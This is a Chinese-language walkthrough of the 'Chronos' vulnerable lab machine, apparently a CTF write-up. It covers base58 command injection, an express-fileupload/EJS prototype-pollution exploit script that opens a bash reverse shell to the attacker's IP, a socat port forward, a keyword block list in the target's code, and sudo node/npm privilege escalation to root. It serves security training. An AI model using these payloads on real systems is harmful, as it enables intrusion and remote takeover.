难度:Medium
kali:192.168.56.104
靶机:192.168.56.185
> arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:05 (Unknown: locally administered)
192.168.56.100 08:00:27:ec:9f:2b PCS Systemtechnik GmbH
192.168.56.185 08:00:27:7a:75:94 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.923 seconds (133.13 hosts/sec). 3 responded
端口扫描
> nmap 192.168.56.185
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-21 17:17 CST
Nmap scan report for 192.168.56.185
Host is up (0.00017s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
MAC Address: 08:00:27:7A:75:94 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
开放了 22 80 8000三个端口
先去80端口看一下
web信息搜集
有代码,应该加了混淆,让gpt帮我整理了一下
var elements = [
'150447srWefj', '70lwLrol', '1658165LmcNig', 'open', '1260881JUqdKM',
'10737CrnEEe', '2SjTdWC', 'readyState', 'responseText', '1278676qXleJg',
'797116soVTES', 'onreadystatechange',
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
'User-Agent', 'status', '1DYOODT', '400909Mbbcfr', 'Chronos', '2QRBPWS',
'getElementById', 'innerHTML', 'date'
];
(function(array, target) {
function decrypt(index, offset) {
index = index - 0x7e;
return array[index];
}
while (true) {
try {
var result = -parseInt(decrypt(0x7e)) * parseInt(decrypt(0x90)) +
parseInt(decrypt(0x8e)) + parseInt(decrypt(0x7f)) *
parseInt(decrypt(0x83)) - parseInt(decrypt(0x87)) -
parseInt(decrypt(0x82)) * parseInt(decrypt(0x8d)) -
parseInt(decrypt(0x88)) + parseInt(decrypt(0x80)) *
parseInt(decrypt(0x84));
if (result === target) break;
else array.push(array.shift());
} catch (error) {
array.push(array.shift());
}
}
})(elements, 0xcaf1e);
function decrypt(index, offset) {
index = index - 0x7e;
return elements[index];
}
function loadDoc() {
var userAgent = decrypt(0x8f);
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 0x4 && this.status == 0xc8) {
document.getElementById('date').innerHTML = this.responseText;
}
};
xhr.open('GET', decrypt(0x8a), true);
xhr.setRequestHeader('User-Agent', userAgent);
xhr.send();
}
根据解密逻辑,User-Agent需要是Chronos
并且访问http://192.168.56.185:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
好像是一个打印日期的脚本,我输错一个参数是base58编码
感觉可以注入
试了好几个发现perl的可以反弹shell
> nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.185] 33458
/bin/sh: 0: can't access tty; job control turned off
$
也是顺利拿到shell
提取user
先看家目录
www-data@chronos:/opt/chronos$ cd /home
www-data@chronos:/home$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Jul 29 2021 .
drwxr-xr-x 23 root root 4096 Jul 29 2021 ..
drwxr-xr-x 6 imera imera 4096 Aug 4 2021 imera
只有一个用户imera,看不了user flag
www-data@chronos:/opt/chronos$ cat app.js
// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
var agent = req.headers['user-agent'];
var cmd = 'date ';
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
if (agent === 'Chronos') {
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
原来python nc 啥的都被ban了
在看端口的时候发现一个新的端口8080
www-data@chronos:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 192.168.56.185%enp0s3:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 128 *:8000 *:* users:(("node",pid=890,fd=18))
tcp LISTEN 0 128 *:80 *:*
www-data@chronos:~$ curl 127.0.0.1:8080
<!DOCTYPE html>
<html>
<head>
<title>Chronos - Version 2</title>
</head>
<body>
<h1>Coming Soon...</h1>
</body>
</html>
是一个 Chronos version2的服务
刚才注意到这个服务在opt目录
www-data@chronos:/opt/chronos-v2/backend$ cat server.js
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
ejs库使用express-fileupload
来处理文件上传,并且porcessNested
设置为True,可以通过文件名进行原型链污染
原理参考
https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce/
https://blog.csdn.net/gental_z/article/details/107937110
做个端口转发方便打,把8080转发到6677端口可以访问
socat TCP4-LISTEN:6677,fork TCP4:127.0.0.1:8080
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.104/4567 0>&1"'
requests.post('http://192.168.56.185:6677', files = {'__proto__.outputFunctionName':(None,f"a;global.process.mainModule.require('child_process').exec('{cmd}');a")})
requests.get('http://192.168.56.185:6677')
这个None表示文件位置,但是我们的直接写恶意payload,文件位置所以是None
> nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.185] 33604
bash: cannot set terminal process group (790): Inappropriate ioctl for device
bash: no job control in this shell
imera@chronos:/opt/chronos-v2/backend$
拿到user shell
提权root
一手sudo哥们心里乐开花
imera@chronos:/opt/chronos-v2/backend$ sudo -l
sudo -l
Matching Defaults entries for imera on chronos:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User imera may run the following commands on chronos:
(ALL) NOPASSWD: /usr/local/bin/npm *
(ALL) NOPASSWD: /usr/local/bin/node *
怕哥们不会还给两个,直接用npm
imera@chronos:~$ TF=$(mktemp -d)
TF=$(mktemp -d)
imera@chronos:~$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
<ts": {"preinstall": "/bin/sh"}}' > $TF/package.json
imera@chronos:~$ sudo /usr/local/bin/npm -C $TF --unsafe-perm i
sudo /usr/local/bin/npm -C $TF --unsafe-perm i
> preinstall
> /bin/sh
id
uid=1000(imera) gid=1000(imera) groups=1000(imera)
好家伙失败,换一个,用node
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
id
uid=0(root) gid=0(root) groups=0(root)